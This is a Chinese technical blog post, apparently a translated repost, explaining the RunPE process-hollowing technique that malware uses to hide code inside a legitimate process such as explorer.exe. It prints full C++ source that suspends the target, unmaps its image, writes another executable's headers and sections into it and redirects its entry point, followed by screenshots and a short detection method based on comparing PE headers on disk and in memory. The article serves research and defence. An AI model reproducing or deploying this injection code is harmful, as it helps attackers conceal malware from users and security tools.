zoukankan      html  css  js  c++  java
  • 使用恶意软件将隐藏代码注入已知进程的攻击研究

    本文作者:jishuzhain

    对于恶意软件编写者来说,隐藏一个进程一直是一个挑战,他们对此发现了很多方法。我现在讲述的这个技巧是非常基本的,虽然写起来很简单,但是却不能一直工作下去。这个技巧叫做“RunPE”,在恶意软件行业,特别是RAT(远程管理工具)中已经使用了很多次。

    基本上,当一个恶意软件启动时,它会在Windows进程中挑选一个受害者(如explorer.exe),(如果有童鞋使用过metasploit中的进程注入攻击,这应该并不陌生吧)并启动一个新的实例,它处于挂起状态。在这种状态下,进行修改是安全的,恶意软件将完全从代码中清除它,如果需要的话会扩展进内存,并在其中复制自己的代码。

    然后,恶意软件会做一些变化来调整入口地址以及基地址,并将恢复其进程。恢复后,该进程显示正在从一个文件(explorer.exe)开始,这会没有显示它做了什么,但它实际上已经做了。

    RunPE:代码

    void RunPe( wstring const& target, wstring const& source )
    {
    Pe src_pe( source ); // Parse source PE structure
    if ( src_pe.isvalid )
    {
    Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target
    if ( res.success )
    {
    PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) ); // Allocate space for context
    CTX->ContextFlags = CONTEXT_FULL;

    if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) ) // Read target context
    {
    DWORD dwImageBase;
    ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL ); // Get base address of target

    typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);
    NtUnmapViewOfSection xNtUnmapViewOfSection;
    xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
    if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) ) // Unmap target code
    {
    LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); // Realloc for source code
    if ( pImageBase )
    {
    Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders ); // Read source headers
    PVOID src_headers_ptr = src_pe.GetPointer( 0 );
    if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )
    {
    if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) ) // Write source headers
    {
    bool success = true;
    for (u_int i = 0; i < src_pe.sections.size(); i++) // Write all sections
    {
    // Get pointer on section and copy the content
    Buffer src_section( src_pe.sections.at( i ).SizeOfRawData );
    LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData );
    success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );

    // Write content to target
    success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);
    }

    if ( success )
    {
    WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL ); // Rewrite image base
    CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint; // Rewrite entry point
    SetThreadContext( res.hThread, LPCONTEXT( CTX ) ); // Set thread context
    ResumeThread( res.hThread ); // Resume main thread
    }
    }
    }
    }
    }
    }

    if ( res.hProcess) CloseHandle( res.hProcess );
    if ( res.hThread ) CloseHandle( res.hThread );
    }
    }
    }
    ...
    RunPe( L"C:\windows\explorer.exe", L"C:\windows\system32\calc.exe" );

    (源代码是能自我解释的,但是我选择让它与我们的底层库(Pe,Process,…)紧密联系在一起,以便代码不会脱离盒子(避免脚本小子使用它来做坏事)。然而,我建议工程师能理解逻辑并重新创建二进制文件。自己的翻译)

    源代码是能自我解释的,这段代码想表达的意思应该是不言而喻的(意思就是光字面上来看S_B也看的懂),不管怎样我把他们用底层库封装起来(pe.process..代码里也只看到类没看到实现代码),这样如果没有这些底层库这些代码就不能够运行(废话,lib都不提供我拿什么编译),以防止一些中二病大黑客用这些代码到处搞事情,不过,一个资深的码农老司机应该很容易看得懂代码中的逻辑关系并且(依照当中的意思)自己码出能用的二进制程序。

    主程序将以explorer.exe为目标,以calc.exe为源码调用RunPe函数。这将导致运行calc.exe代码到explorer.exe的表面。

    该RunPe功能将简单地处于中止状态的explorer.exe创建,除去属于该模块的部分与NtUnmapViewOfSection。然后,它将分配更多的内存与前面未映射的部分相同的首选地址来承载目标(calc.exe)的代码。

    该代码(标题+部分)复制到新分配的部分,我们调整内存映像基址+入口点地址以匹配新的偏移量(explorer.exe的基址可能会不同)。完成后,主线程恢复。

    RunPE:结果

    1.png

    在创建后暂停

    2.png

    在explorer.exe中的部分区域未被映射后

    3.png

    在新的部分区域被分配后

    分配.png

    在calc.exe代码被写入后

    Process Hacker软件在explorer.exe中显示Calc caption窗口

    5.png

    calc.exe字符串出现在explorer.exe部分

    RunPE:检测

    这个技巧很简单,检测也很简单。我们可以假设(除了.NET程序集)PE头将在内存和进程的磁盘镜像中99%相同。

    知道了这个后,我们可以在每个进程中比较磁盘上文件的PE头和内存中的映像。如果分歧太大,我们可以放心地认定这个过程是被劫持的。

    6.png

    图为RunPE的检测

    链接
    https://blackc0.de/2014/06/defeating-runpe-malware-packer/
    http://menalix.com/?tag=runpe-in​​jection
    http://www.autosectools.com/process-hollowing.pdf
    https://www.phrozensoft.com/2015/05/runpe-detector-1
    https://www.adlice.com/runpe-hide-code-behind-legit-process/

     

  • 相关阅读:
    LeetCode#237 Delete Node in a Linked List
    数据库概念
    请基于 TCP/IP 五层网络模型描述下当我们在浏览器请求 https ://pp.io 站点时,发生了哪些事情
    高并发大流量
    mysql关于索引
    php基础——会话控制
    php基础——运算符知识
    php基础——常量及数据类型考察
    引用变量和cow机制
    关系基本特性的运算封闭性
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7832616.html
Copyright © 2011-2022 走看看